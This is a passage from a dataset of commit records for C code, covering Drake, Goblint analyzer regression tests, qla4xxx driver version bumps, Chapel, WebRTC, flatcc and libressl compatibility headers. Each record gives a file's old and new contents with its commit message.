low,tensorflow\/tensorflow-experimental_link_static_libraries_once,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,theflofly\/tensorflow,xzturn\/tensorflow,theflofly\/tensorflow,yongtang\/tensorflow,xzturn\/tensorflow,asimshankar\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,ageron\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,alsrgv\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,asimshankar\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,Bismarrck\/tensorflow,paolodedios\/tensorflow,alsrgv\/tensorflow,gunan\/tensorflow,aam-at\/tensorflow,hfp\/tensorflow-xsmm,karllessard\/tensorflow,karllessard\/tensorflow,gunan\/tensorflow,Bismarrck\/tensorflow,jhseu\/tensorflow,Bismarrck\/tensorflow,renyi533\/tensorflow,jbedorf\/tensorflow,Bismarrck\/tensorflow,Bismarrck\/tensorflow,paolodedios\/tensorflow,alsrgv\/tensorflow,DavidNorman\/tensorflow,yongtang\/tensorflow,hfp\/tensorflow-xsmm,Intel-tensorflow\/tensorflow,ppwwyyxx\/tensorflow,paolodedios\/tensorflow,jendap\/tensorflow,ghchinoy\/tensorflow,apark263\/tensorflow,frreiss\/tensorflow-fred,aam-at\/tensorflow,ageron\/tensorflow,gunan\/tensorflow,apark263\/tensorflow,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,tensorflow\/tensorflow,jendap\/tensorflow,jendap\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,ghchinoy\/tensorflow,asimshankar\/tensorflow,gunan\/tensorflow,arborh\/tensorflow,karllessard\/tensorflow,freedomtan\/tensorflow,DavidNorman\/tensorflow,gautam1858\/tensorflow,jbedorf\/tensorflow,ageron\/tensorflow,annarev\/tensorflow,alsrgv\/tensorflow,davidzchen\/tensorflow,ageron\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,jhseu\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow,DavidNorman\/tensorflow,asimshankar\/tensorflow,gautam1858\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,freedomtan\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,hfp\/tensorflow-xsmm,chemelnucfin\/tensorflow,renyi533\/tensorflow,alsrgv\/tensorflow,chemelnucfin\/tensorflow,yongtang\/tensorflow,jbedorf\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,petewarden\/tensorflow,sarvex\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow,renyi533\/tensorflow,yongtang\/tensorflow,kevin-coder\/tensorflow-fork,ghchinoy\/tensorflow,ageron\/tensorflow,ageron\/tensorflow,gunan\/tensorflow,xzturn\/tensorflow,adit-chandra\/tensorflow,jbedorf\/tensorflow,theflofly\/tensorflow,adit-chandra\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,annarev\/tensorflow,Bismarrck\/tensorflow,jbedorf\/tensorflow,hfp\/tensorflow-xsmm,Intel-Corporation\/tensorflow,alsrgv\/tensorflow,renyi533\/tensorflow,kevin-coder\/tensorflow-fork,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,theflofly\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow,adit-chandra\/tensorflow,aldian\/tensorflow,jhseu\/tensorflow,gunan\/tensorflow,DavidNorman\/tensorflow,jendap\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,xzturn\/tensorflow,arborh\/tensorflow,sarvex\/tensorflow,ghchinoy\/tensorflow,Bismarrck\/tensorflow,ghchinoy\/tensorflow,annarev\/tensorflow,alsrgv\/tensorflow,chemelnucfin\/tensorflow,annarev\/tensorflow,aldian\/tensorflow,ppwwyyxx\/tensorflow,gautam1858\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow,arborh\/tensorflow,Intel-tensorflow\/tensorflow,aldian\/tensorflow,paolodedios\/tensorflow,chemelnucfin\/tensorflow,hfp\/tensorflow-xsmm,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,xzturn\/tensorflow,freedomtan\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,kevin-coder\/tensorflow-fork,jhseu\/tensorflow,adit-chandra\/tensorflow,sarvex\/tensorflow,arborh\/tensorflow,adit-chandra\/tensorflow,jhseu\/tensorflow,paolodedios\/tensorflow,jendap\/tensorflow,davidzchen\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,theflofly\/tensorflow,davidzchen\/tensorflow,freedomtan\/tensorflow,kevin-coder\/tensorflow-fork,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,ghchinoy\/tensorflow,apark263\/tensorflow,gunan\/tensorflow,freedomtan\/tensorflow,adit-chandra\/tensorflow,frreiss\/tensorflow-fred,hfp\/tensorflow-xsmm,davidzchen\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,freedomtan\/tensorflow,hfp\/tensorflow-xsmm,arborh\/tensorflow,renyi533\/tensorflow,theflofly\/tensorflow,ppwwyyxx\/tensorflow,yongtang\/tensorflow,davidzchen\/tensorflow,cxxgtxy\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Bismarrck\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,ppwwyyxx\/tensorflow,annarev\/tensorflow,jbedorf\/tensorflow,ppwwyyxx\/tensorflow,renyi533\/tensorflow,adit-chandra\/tensorflow,ageron\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,chemelnucfin\/tensorflow,alsrgv\/tensorflow,annarev\/tensorflow,ppwwyyxx\/tensorflow,jendap\/tensorflow,frreiss\/tensorflow-fred,xzturn\/tensorflow,apark263\/tensorflow,aam-at\/tensorflow,jbedorf\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,ghchinoy\/tensorflow,yongtang\/tensorflow,kevin-coder\/tensorflow-fork,aam-at\/tensorflow,arborh\/tensorflow,alsrgv\/tensorflow,kevin-coder\/tensorflow-fork,davidzchen\/tensorflow,aam-at\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,yongtang\/tensorflow,annarev\/tensorflow"}
{"commit":"42e4da04ad4740ab12e955f67c36b557d8a56169","old_file":"drake\/solvers\/LinearSystemSolver.h","new_file":"drake\/solvers\/LinearSystemSolver.h","old_contents":"#pragma once\n\n#include \"drake\/drakeOptimization_export.h\"\n\n#include \"drake\/solvers\/MathematicalProgram.h\"\n\nnamespace drake {\nnamespace solvers {\n\nclass DRAKEOPTIMIZATION_EXPORT LinearSystemSolver :\n      public MathematicalProgramSolverInterface  {\n public:\n  \/\/ This solver is implemented in various pieces depending on if\n  \/\/ Ipopt was available during compilation.\n  bool available() const override;\n  SolutionResult Solve(OptimizationProblem& prog) const override;\n};\n\n}  \/\/ namespace solvers\n}  \/\/ namespace drake\n","new_contents":"#pragma once\n\n#include \"drake\/drakeOptimization_export.h\"\n\n#include \"drake\/solvers\/MathematicalProgram.h\"\n\nnamespace drake {\nnamespace solvers {\n\nclass DRAKEOPTIMIZATION_EXPORT LinearSystemSolver :\n      public MathematicalProgramSolverInterface  {\n public:\n  bool available() const override;\n  SolutionResult Solve(OptimizationProblem& prog) const override;\n};\n\n}  \/\/ namespace solvers\n}  \/\/ namespace drake\n","subject":"Remove errant comment from copypasta","message":"Remove errant comment from copypasta\n","lang":"C","license":"bsd-3-clause","repos":"billhoffman\/drake,sheim\/drake,sheim\/drake,billhoffman\/drake,billhoffman\/drake,sheim\/drake,billhoffman\/drake,billhoffman\/drake,sheim\/drake,billhoffman\/drake,sheim\/drake,billhoffman\/drake,sheim\/drake,sheim\/drake,billhoffman\/drake,sheim\/drake"}
{"commit":"a8fc38797593f288ee3f2a71b40780473b22f3e9","old_file":"algorithms\/binsearch.h","new_file":"algorithms\/binsearch.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2014-2015, NVIDIA CORPORATION\n * Copyright (c) 2015, Nuno Subtil <subtil@gmail.com>\n * Copyright (c) 2015, Roche Molecular Systems Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *    * Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *    * Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in the\n *      documentation and\/or other materials provided with the distribution.\n *    * Neither the name of the copyright holders nor the names of its\n *      contributors may be used to endorse or promote products derived from\n *      this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#pragma once\n\n#include \"..\/types.h\"\n\nnamespace lift {\n\n\/\/ perform a binary search on a sorted array\n\/\/ returns the index of any element in the array that is equal to val, or -1 if not found\ntemplate <typename T>\nCUDA_HOST_DEVICE uint32 binary_search(const T *data, uint32 size, const T val)\n{\n    uint32 first = 0;\n    uint32 last = size;\n\n    while(last - first > 0)\n    {\n        uint32 i = first + ((last - first) \/ 2);\n\n        if (data[i] == val)\n            return i;\n\n        if (data[i] < val)\n        {\n            if (i == first)\n            {\n                first++;\n            } else {\n                first = i;\n            }\n        } else {\n            if (i == last)\n            {\n                last--;\n            } else {\n                last = i;\n            }\n        }\n    }\n\n    return uint32(-1);\n}\n\n} \/\/ namespace lift\n","subject":"Add basic binary search implementation","message":"algorithms: Add basic binary search implementation\n","lang":"C","license":"bsd-3-clause","repos":"nsubtil\/lift,chuckseberino\/lift,chuckseberino\/lift,nsubtil\/lift,chuckseberino\/lift,nsubtil\/lift"}
{"commit":"6d76222e1a57deaba1562ce3d3312b5f21888bd1","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k15\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k16\"\n","subject":"Update driver version to 5.02.00-k16","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k16\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"56163c233d35c20698a9de0d4f640bb02251a926","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k20\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k0\"\n","subject":"Update driver version to 5.03.00-k0","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k0\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"0563c8912eaa758bb51d03c8dbfc48f3a4c91b69","old_file":"tests\/regression\/03-practical\/21-pfscan_combine_minimal.c","new_file":"tests\/regression\/03-practical\/21-pfscan_combine_minimal.c","old_contents":"","new_contents":"#include <pthread.h>\n\nstruct __anonstruct_PQUEUE_63 {\n   int closed ;\n   pthread_mutex_t mtx ;\n};\ntypedef struct __anonstruct_PQUEUE_63 PQUEUE;\n\nPQUEUE pqb;\n\nint pqueue_init(PQUEUE *qp)\n{\n  qp->closed = 0;\n  pthread_mutex_init(& qp->mtx, NULL);\n  return (0);\n}\n\nvoid pqueue_close(PQUEUE *qp )\n{\n  pthread_mutex_lock(& qp->mtx);\n  qp->closed = 1;\n  pthread_mutex_unlock(& qp->mtx);\n  return;\n}\n\nint pqueue_put(PQUEUE *qp)\n{\n  pthread_mutex_lock(& qp->mtx);\n  if (qp->closed) {\n    \/\/ pfscan actually has a bug and is missing the following unlock at early return\n    \/\/ pthread_mutex_unlock(& qp->mtx);\n\n    return (0);\n  }\n  pthread_mutex_unlock(& qp->mtx);\n  return (1);\n}\n\nvoid *worker(void *arg )\n{\n  return NULL;\n}\n\nint main(int argc , char **argv )\n{\n  pthread_t tid;\n\n  PQUEUE *qp = &pqb;\n  pqueue_init(& pqb);\n  pthread_create(& tid, NULL, & worker, NULL);\n\n  for (int i = 1; i < argc; i++) {\n    pqueue_put(& pqb);\n  }\n\n  pqueue_close(& pqb);\n  return 0;\n}\n","subject":"Add minimal pfscan regression test due to combine problem","message":"Add minimal pfscan regression test due to combine problem\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b04327565559b5585bd94bc49316f0341f30f72d","old_file":"tests\/regression\/01-cpa\/42-non-injective-mult-def-exc.c","new_file":"tests\/regression\/01-cpa\/42-non-injective-mult-def-exc.c","old_contents":"","new_contents":"\/\/PARAM: --enable ana.int.def_exc\n#include<assert.h>\n\nint main() {\n  unsigned int top;\n  unsigned int x;\n  top = 7;\n  if (top == 3){\n    return 0;\n  }\n\n  x = top * 1073741824u;\n  assert(x != 3221225472u); \/\/ UNKNOWN!\n  return 0;\n}\n","subject":"Add failing test case for multiplication with DefExc","message":"Add failing test case for multiplication with DefExc\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bb20ba06733ae80756392b75198de2b813bdd0eb","old_file":"runtime\/src\/chplexit.c","new_file":"runtime\/src\/chplexit.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"chplcomm.h\"\n#include \"chplexit.h\"\n#include \"chplmem.h\"\n#include \"chplrt.h\"\n#include \"gdb.h\"\n\n#undef exit\n\nstatic void _chpl_exit_common(int status, int all) {\n  fflush(stdout);\n  fflush(stderr);\n  if (status != 0) {\n    gdbShouldBreakHere();\n  }\n  if (all) {\n    exitChplThreads();         \/\/ tear down the threads\n  }\n  if (all) {\n    _chpl_comm_barrier(\"_chpl_comm_exit_all\");\n    _chpl_comm_exit_all(status);\n  } else {\n    _chpl_comm_exit_any(status);\n  }\n  exit(status);\n}\n\n\nvoid _chpl_exit_all(int status) {\n  printFinalMemStat(0, 0);   \/\/ print the final memory statistics\n  _chpl_exit_common(status, 1);\n}\n\n\nvoid _chpl_exit_any(int status) {\n  _chpl_exit_common(status, 0);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"chplcomm.h\"\n#include \"chplexit.h\"\n#include \"chplmem.h\"\n#include \"chplrt.h\"\n#include \"gdb.h\"\n\n#undef exit\n\nstatic void _chpl_exit_common(int status, int all) {\n  fflush(stdout);\n  fflush(stderr);\n  if (status != 0) {\n    gdbShouldBreakHere();\n  }\n  if (all) {\n    _chpl_comm_barrier(\"_chpl_comm_exit_all\");\n    exitChplThreads();         \/\/ tear down the threads\n    _chpl_comm_exit_all(status);\n  } else {\n    _chpl_comm_exit_any(status);\n  }\n  exit(status);\n}\n\n\nvoid _chpl_exit_all(int status) {\n  printFinalMemStat(0, 0);   \/\/ print the final memory statistics\n  _chpl_exit_common(status, 1);\n}\n\n\nvoid _chpl_exit_any(int status) {\n  _chpl_exit_common(status, 0);\n}\n","subject":"Move a call to exitChplThreads() to after the final barrier","message":"Move a call to exitChplThreads() to after the final barrier\n\nWhen it was before the barrier, all nodes except 0 called it very early, but\nit should only be called at the very end of execution.\n\n\ngit-svn-id: 88467cb1fb04b8a755be7e1ee1026be4190196ef@15138 3a8e244f-b0f2-452b-bcba-4c88e055c3ca\n","lang":"C","license":"apache-2.0","repos":"sungeunchoi\/chapel,sungeunchoi\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,CoryMcCartan\/chapel,chizarlicious\/chapel,hildeth\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,hildeth\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,chizarlicious\/chapel,hildeth\/chapel"}
{"commit":"b0c8228755e6d86a77f3a74999216b31feb44a6b","old_file":"webrtc\/experiments.h","new_file":"webrtc\/experiments.h","old_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct SkipEncodingUnusedStreams {\n  SkipEncodingUnusedStreams() : enabled(false) {}\n  explicit SkipEncodingUnusedStreams(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~SkipEncodingUnusedStreams() {}\n\n  const bool enabled;\n};\n\nstruct AimdRemoteRateControl {\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","new_contents":"\/*\n *  Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef WEBRTC_EXPERIMENTS_H_\n#define WEBRTC_EXPERIMENTS_H_\n\n#include \"webrtc\/typedefs.h\"\n\nnamespace webrtc {\nstruct RemoteBitrateEstimatorMinRate {\n  RemoteBitrateEstimatorMinRate() : min_rate(30000) {}\n  RemoteBitrateEstimatorMinRate(uint32_t min_rate) : min_rate(min_rate) {}\n\n  uint32_t min_rate;\n};\n\nstruct AimdRemoteRateControl {\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","subject":"Remove no longer used SkipEncodingUnusedStreams.","message":"Remove no longer used SkipEncodingUnusedStreams.\n\nR=andrew@webrtc.org\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/18829004\n\ngit-svn-id: 917f5d3ca488f358c4d40eaec14422cf392ccec9@6753 4adac7df-926f-26a2-2b94-8c16560cd09d\n","lang":"C","license":"bsd-3-clause","repos":"mwgoldsmith\/libilbc,TimothyGu\/libilbc,mwgoldsmith\/ilbc,mwgoldsmith\/ilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,mwgoldsmith\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,mwgoldsmith\/ilbc,mwgoldsmith\/libilbc,mwgoldsmith\/ilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,mwgoldsmith\/libilbc"}
{"commit":"5ec3db45d6b637c695baa406b4128ef95edef02b","old_file":"include\/flatcc\/portable\/pstdalign.h","new_file":"include\/flatcc\/portable\/pstdalign.h","old_contents":"#ifndef PSTDALIGN_H\n#define PSTDALIGN_H\n\n#ifndef __alignas_is_defined\n#ifndef __cplusplus\n\n#if ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 7)) || defined(__IBMC__)\n#undef PORTABLE_C11_STDALIGN_MISSING\n#define PORTABLE_C11_STDALIGN_MISSING\n#endif\n\n#if (defined(__STDC__) && __STDC__ && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L) && \\\n    !defined(PORTABLE_C11_STDALIGN_MISSING)\n\/* C11 or newer *\/\n#include <stdalign.h>\n\n#else\n\n#if defined(__GNUC__) || defined (__IBMC__) || defined(__clang__)\n#define _Alignas(t) __attribute__((__aligned__(t)))\n#define _Alignof(t) __alignof__(t)\n#elif defined(_MSC_VER)\n#define _Alignas(t) __declspec (align(t))\n#define _Alignof(t) __alignof(t)\n#define alignas _Alignas\n#define alignof _Alignof\n\n#define __alignas_is_defined 1\n#define __alignof_is_defined 1\n\n#else\n#error please update pstdalign.h with support for current compiler\n#endif\n\n#endif \/* __STDC__ *\/\n\n#endif \/* __cplusplus *\/\n#endif \/* __alignas__is_defined *\/\n#endif \/* PSTDALIGN_H *\/\n","new_contents":"#ifndef PSTDALIGN_H\n#define PSTDALIGN_H\n\n#ifndef __alignas_is_defined\n#ifndef __cplusplus\n\n#if ((defined(__GNUC__) && ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 7))) || defined(__IBMC__))\n#undef PORTABLE_C11_STDALIGN_MISSING\n#define PORTABLE_C11_STDALIGN_MISSING\n#endif\n\n#if (defined(__STDC__) && __STDC__ && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L) && \\\n    !defined(PORTABLE_C11_STDALIGN_MISSING)\n\/* C11 or newer *\/\n#include <stdalign.h>\n\n#else\n\n#if defined(__GNUC__) || defined (__IBMC__) || defined(__clang__)\n#define _Alignas(t) __attribute__((__aligned__(t)))\n#define _Alignof(t) __alignof__(t)\n#elif defined(_MSC_VER)\n#define _Alignas(t) __declspec (align(t))\n#define _Alignof(t) __alignof(t)\n#define alignas _Alignas\n#define alignof _Alignof\n\n#define __alignas_is_defined 1\n#define __alignof_is_defined 1\n\n#else\n#error please update pstdalign.h with support for current compiler\n#endif\n\n#endif \/* __STDC__ *\/\n\n#endif \/* __cplusplus *\/\n#endif \/* __alignas__is_defined *\/\n#endif \/* PSTDALIGN_H *\/\n","subject":"Check for GCC before checking version","message":"Check for GCC before checking version\n","lang":"C","license":"apache-2.0","repos":"skhoroshavin\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc"}
{"commit":"e62b57a8e9fce54fc356a8379b22a065e510450b","old_file":"deps\/libressl-2.0.0\/include\/string.h","new_file":"deps\/libressl-2.0.0\/include\/string.h","old_contents":"#include_next <string.h>\n\n#ifndef LIBCRYPTOCOMPAT_STRING_H\n#define LIBCRYPTOCOMPAT_STRING_H\n\n#include <sys\/types.h>\n\n#ifdef __sun\n\/* Some functions historically defined in string.h were placed in strings.h by\n * SUS. Use the same hack as OS X and FreeBSD use to work around on Solaris.\n *\/\n#include <strings.h>\n#endif\n\nsize_t strlcpy(char *dst, const char *src, size_t siz);\n\nsize_t strlcat(char *dst, const char *src, size_t siz);\n\nvoid explicit_bzero(void *, size_t);\n\nint timingsafe_bcmp(const void *b1, const void *b2, size_t n);\n\nint timingsafe_memcmp(const void *b1, const void *b2, size_t len);\n\n#ifdef __pnacl__\ninline int strncasecmp(const char *str1, const char *str2, size_t n) {\n  size_t i = 0;\n  for(; str1[i] == str2[i] &&\n        str1[i] != '\\0' && str2[i] != '\\0' &&\n        i < n; ++i) { }\n  return (int)(str1[i] - str2[i]);\n}\ninline int strcasecmp(const char *str1, const char *str2) {\n  size_t i = 0;\n  for(; str1[i] == str2[i] &&\n        str1[i] != '\\0' && str2[i] != '\\0'; ++i) { }\n  return (int)(str1[i] - str2[i]);\n}\n#endif \/* __pnacl__ *\/\n\n#endif\n","new_contents":"#include_next <string.h>\n\n#ifndef LIBCRYPTOCOMPAT_STRING_H\n#define LIBCRYPTOCOMPAT_STRING_H\n\n#include <sys\/types.h>\n\n#ifdef __sun\n\/* Some functions historically defined in string.h were placed in strings.h by\n * SUS. Use the same hack as OS X and FreeBSD use to work around on Solaris.\n *\/\n#include <strings.h>\n#endif\n\nsize_t strlcpy(char *dst, const char *src, size_t siz);\n\nsize_t strlcat(char *dst, const char *src, size_t siz);\n\nvoid explicit_bzero(void *, size_t);\n\nint timingsafe_bcmp(const void *b1, const void *b2, size_t n);\n\nint timingsafe_memcmp(const void *b1, const void *b2, size_t len);\n\n#endif\n","subject":"Fix multiple def errors for strcasecmp && strncasecmp.","message":"Fix multiple def errors for strcasecmp && strncasecmp.\n","lang":"C","license":"mpl-2.0","repos":"DiamondLovesYou\/rust-ppapi,DiamondLovesYou\/rust-ppapi,DiamondLovesYou\/rust-ppapi,DiamondLovesYou\/rust-ppapi"}
{"commit":"7a193d8267c2d21a9236c8950a8f5e896535d5cf","old_file":"link-grammar\/dict-file\/word-file.h","new_file":"link-grammar\/dict-file\/word-file.h","old_contents":"\/*************************************************************************\/\n\/* Copyright (c) 2004                                                    *\/\n\/* Daniel Sleator, David Temperley, and John Lafferty                    *\/\n\/* Copyright (c) 2014 Linas Vepstas                                      *\/\n\/* All rights reserved                                                   *\/\n\/*                                                                       *\/\n\/* Use of the link grammar parsing system is subject to the terms of the *\/\n\/* license set forth in the LICENSE file included with this software.    *\/\n\/* This license allows free redistribution and use in source and binary  *\/\n\/* forms, with or without modification, subject to certain conditions.   *\/\n\/*                                                                       *\/\n\/*************************************************************************\/\n\n#include \"dict-api.h\"\n#include \"structures.h\"\n\n\/* The structure below stores a list of dictionary word files. *\/\nstruct Word_file_struct\n{\n\tWord_file * next;\n\tconst char *file;    \/* the file name *\/\n\tbool changed;        \/* TRUE if this file has been changed *\/\n};\n\nvoid free_Word_file(Word_file * wf);\n\nDict_node * read_word_file(Dictionary dict, Dict_node * dn, char * filename);\n\n","new_contents":"\/*************************************************************************\/\n\/* Copyright (c) 2004                                                    *\/\n\/* Daniel Sleator, David Temperley, and John Lafferty                    *\/\n\/* Copyright (c) 2014 